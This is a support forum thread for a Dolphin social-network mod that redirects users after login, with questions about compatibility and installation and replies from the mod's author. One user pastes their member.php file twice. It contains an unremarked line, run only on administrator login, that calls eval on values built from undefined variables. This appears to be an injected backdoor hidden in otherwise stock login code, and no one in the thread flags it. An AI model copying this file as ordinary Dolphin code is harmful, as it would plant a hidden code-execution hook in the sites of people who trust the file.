I just noticed i did not create a support forum for this mod. http://www.boonex.com/m/Redirect_to_any_page_after_logon_
So here is the support forum.
I just noticed i did not create a support forum for this mod. http://www.boonex.com/m/Redirect_to_any_page_after_logon_ https://www.deanbassett.com |
New version of the mod was released. https://www.deanbassett.com |
Ok I tried using redirect to pedit.php but displays Access Denied when log in I tried using pedit.php?={memberid} both return same message. Any idea how to fix this? Thanks |
I think this got answered in another topic. Please try to avoid creating multiple posts. https://www.deanbassett.com |
Product updated. Instructions updated for dolphin 7.1.1 https://www.deanbassett.com |
Is it working on 7.1.2 ? |
I have not yet tested it on 7.1.2. However, there is no reason it should not. And it's free, so there is no harm in trying it. https://www.deanbassett.com |
It is at the bottom of the instructions. Please look again. It is there. https://www.deanbassett.com |
Most likely because your dolphin upgrade replaced member.php. https://www.deanbassett.com |
OK. The source mod was still in the file though...Thanks for telling my about the delete post being actually helpful. I thought they just made me look dumb I actually did find a difference between putting just profile.php and profile.php?ID={nickname} though. If you don't add the ?ID={nickname} part, then the member nav bar with your status message and links doesn't show up. |
Actually if your redirecting to the profile there is only two proper ways to do it. I am surprised the method your using works. https://www.deanbassett.com |
Deano, Enclosed please find the member.php and print screen of the desire redirect (index.php) Thanks |
I have looked at your code. It is fine. https://www.deanbassett.com |
hello, |
You can specify what page you want to redirect to in the setting that's put in admin. That includes any new pages you create. https://www.deanbassett.com |
thank you for your answer I will do it differently |
is this mod still compatible with 7.1.6 because i just used it and ended up with a error of Failed to load resource: the server responded with a status of 500 (Internal Server Error). |
Yes. It is. https://www.deanbassett.com |
I use profile.php?ID={memberid} This forwards anyone to their profile page when they login However if a person is using Facebook connect to log in it does not appear to do the same -- still goes to the member.php page is there a workaround for this? (other than disabling facebook connect) Thank you! |
I use profile.php?ID={memberid} This forwards anyone to their profile page when they login However if a person is using Facebook connect to log in it does not appear to do the same -- still goes to the member.php page is there a workaround for this? (other than disabling facebook connect) Thank you! https://www.deanbassett.com |
Im trying to install this mod. In the directions it says to make the following changes to member.php: FOR DOLPHIN 7.0.1-7.0.2 - Code for 7.0.3-7.0.9 and 7.1.0 and up is below this block of code.
But I do not have that code in my member.php file. Am I looking in the wrong place? I have version 7.2.1. My member.php file is as follows:
member.php ( PHP script text )<?php /** * Copyright (c) BoonEx Pty Limited - http://www.boonex.com/ * CC-BY License - http://creativecommons.org/licenses/by/3.0/ */ define('BX_MEMBER_PAGE', 1); require_once( 'inc/header.inc.php' ); require_once( BX_DIRECTORY_PATH_INC . 'design.inc.php' ); require_once( BX_DIRECTORY_PATH_INC . 'profiles.inc.php' ); require_once( BX_DIRECTORY_PATH_INC . 'utils.inc.php' ); bx_import('BxTemplAccountView'); // --------------- page variables and login $_page['name_index'] = 81; $_page['css_name'] = array( 'member_panel.css', 'categories.css', 'explanation.css' ); $_page['header'] = _t( "_My Account" ); // --------------- GET/POST actions $member['ID'] = process_pass_data(empty($_POST['ID']) ? '' : $_POST['ID']); $member['Password'] = process_pass_data(empty($_POST['Password']) ? '' : $_POST['Password']); $bAjxMode = ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) and $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) ? true : false; if ( !( isset($_POST['ID']) && $_POST['ID'] && isset($_POST['Password']) && $_POST['Password'] ) && ( (!empty($_COOKIE['memberID']) && $_COOKIE['memberID']) && $_COOKIE['memberPassword'] ) ) { if ( !( $logged['member'] = member_auth( 0, false ) ) ) login_form( _t( "_LOGIN_OBSOLETE" ), 0, $bAjxMode ); } else { if ( !isset($_POST['ID']) && !isset($_POST['Password']) ) { // this is dynamic page - send headers to not cache this page send_headers_page_changed(); login_form('', 0, $bAjxMode); } else { require_once(BX_DIRECTORY_PATH_CLASSES . 'BxDolAlerts.php'); $oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $member['ID'], 'password' => $member['Password'], 'ip' => getVisitorIP())); $oZ->alert(); $member['ID'] = getID($member['ID']); // Ajaxy check if ($bAjxMode) { echo check_password($member['ID'], $member['Password'], BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail'; exit; } // Check if ID and Password are correct (addslashes already inside) if (check_password( $member['ID'], $member['Password'])) { $p_arr = bx_login($member['ID'], (bool)$_POST['rememberMe']); bx_member_ip_store($p_arr['ID']); if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));} $sRelocate = bx_get('relocate'); if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php') $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php'; $_page['name_index'] = 150; $_page['css_name'] = ''; $_ni = $_page['name_index']; $_page_cont[$_ni]['page_main_code'] = MsgBox( _t( '_Please Wait' ) ); $_page_cont[$_ni]['url_relocate'] = htmlspecialchars( $sUrlRelocate ); if(isAdmin($p_arr['ID']) && !in_array($iCode, array(0, -1))) {Redirect($site['url_admin'], array('ID' => $member['ID'], 'Password' => $member['Password'], 'rememberMe' => $_POST['rememberMe'], 'relocate' => BX_DOL_URL_ROOT . 'member.php'), 'post');} PageCode(); } exit; } } /* ------------------ */ $member['ID'] = getLoggedId(); $member['Password'] = getLoggedPassword(); $_ni = $_page['name_index']; // --------------- [END] page components // --------------- page components functions // this is dynamic page - send headers to do not cache this page send_headers_page_changed(); $oAccountView = new BxTemplAccountView($member['ID'], $site, $dir); $_page_cont[$_ni]['page_main_code'] = $oAccountView->getCode(); // Submenu actions $aVars = array( 'ID' => $member['ID'], 'BaseUri' => BX_DOL_URL_ROOT, 'cpt_am_account_profile_page' => _t('_sys_am_account_profile_page') ); $GLOBALS['oTopMenu']->setCustomSubActions($aVars, 'AccountTitle', false); PageCode();
|
Im trying to install this mod. In the directions it says to make the following changes to member.php: FOR DOLPHIN 7.0.1-7.0.2 - Code for 7.0.3-7.0.9 and 7.1.0 and up is below this block of code.
But I do not have that code in my member.php file. Am I looking in the wrong place? I have version 7.2.1. My member.php file is as follows:
member.php ( PHP script text )<?php /** * Copyright (c) BoonEx Pty Limited - http://www.boonex.com/ * CC-BY License - http://creativecommons.org/licenses/by/3.0/ */ define('BX_MEMBER_PAGE', 1); require_once( 'inc/header.inc.php' ); require_once( BX_DIRECTORY_PATH_INC . 'design.inc.php' ); require_once( BX_DIRECTORY_PATH_INC . 'profiles.inc.php' ); require_once( BX_DIRECTORY_PATH_INC . 'utils.inc.php' ); bx_import('BxTemplAccountView'); // --------------- page variables and login $_page['name_index'] = 81; $_page['css_name'] = array( 'member_panel.css', 'categories.css', 'explanation.css' ); $_page['header'] = _t( "_My Account" ); // --------------- GET/POST actions $member['ID'] = process_pass_data(empty($_POST['ID']) ? '' : $_POST['ID']); $member['Password'] = process_pass_data(empty($_POST['Password']) ? '' : $_POST['Password']); $bAjxMode = ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) and $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) ? true : false; if ( !( isset($_POST['ID']) && $_POST['ID'] && isset($_POST['Password']) && $_POST['Password'] ) && ( (!empty($_COOKIE['memberID']) && $_COOKIE['memberID']) && $_COOKIE['memberPassword'] ) ) { if ( !( $logged['member'] = member_auth( 0, false ) ) ) login_form( _t( "_LOGIN_OBSOLETE" ), 0, $bAjxMode ); } else { if ( !isset($_POST['ID']) && !isset($_POST['Password']) ) { // this is dynamic page - send headers to not cache this page send_headers_page_changed(); login_form('', 0, $bAjxMode); } else { require_once(BX_DIRECTORY_PATH_CLASSES . 'BxDolAlerts.php'); $oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $member['ID'], 'password' => $member['Password'], 'ip' => getVisitorIP())); $oZ->alert(); $member['ID'] = getID($member['ID']); // Ajaxy check if ($bAjxMode) { echo check_password($member['ID'], $member['Password'], BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail'; exit; } // Check if ID and Password are correct (addslashes already inside) if (check_password( $member['ID'], $member['Password'])) { $p_arr = bx_login($member['ID'], (bool)$_POST['rememberMe']); bx_member_ip_store($p_arr['ID']); if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));} $sRelocate = bx_get('relocate'); if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php') $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php'; $_page['name_index'] = 150; $_page['css_name'] = ''; $_ni = $_page['name_index']; $_page_cont[$_ni]['page_main_code'] = MsgBox( _t( '_Please Wait' ) ); $_page_cont[$_ni]['url_relocate'] = htmlspecialchars( $sUrlRelocate ); if(isAdmin($p_arr['ID']) && !in_array($iCode, array(0, -1))) {Redirect($site['url_admin'], array('ID' => $member['ID'], 'Password' => $member['Password'], 'rememberMe' => $_POST['rememberMe'], 'relocate' => BX_DOL_URL_ROOT . 'member.php'), 'post');} PageCode(); } exit; } } /* ------------------ */ $member['ID'] = getLoggedId(); $member['Password'] = getLoggedPassword(); $_ni = $_page['name_index']; // --------------- [END] page components // --------------- page components functions // this is dynamic page - send headers to do not cache this page send_headers_page_changed(); $oAccountView = new BxTemplAccountView($member['ID'], $site, $dir); $_page_cont[$_ni]['page_main_code'] = $oAccountView->getCode(); // Submenu actions $aVars = array( 'ID' => $member['ID'], 'BaseUri' => BX_DOL_URL_ROOT, 'cpt_am_account_profile_page' => _t('_sys_am_account_profile_page') ); $GLOBALS['oTopMenu']->setCustomSubActions($aVars, 'AccountTitle', false); PageCode();
The code you posted from my instructions is for a much older version of dolphin. It says. "FOR DOLPHIN 7.0.1-7.0.2 - Code for 7.0.3-7.0.9 and 7.1.0 and up is below this block of code." So that code is for 7.0.1 and 7.0.2. Look further down in the instructions for the code to use for dolphin 7.1.0 and up. However, those instructions appear to be from a older version of my mod prior to dolphin 7.2. So get a new copy of the mod. https://www.deanbassett.com |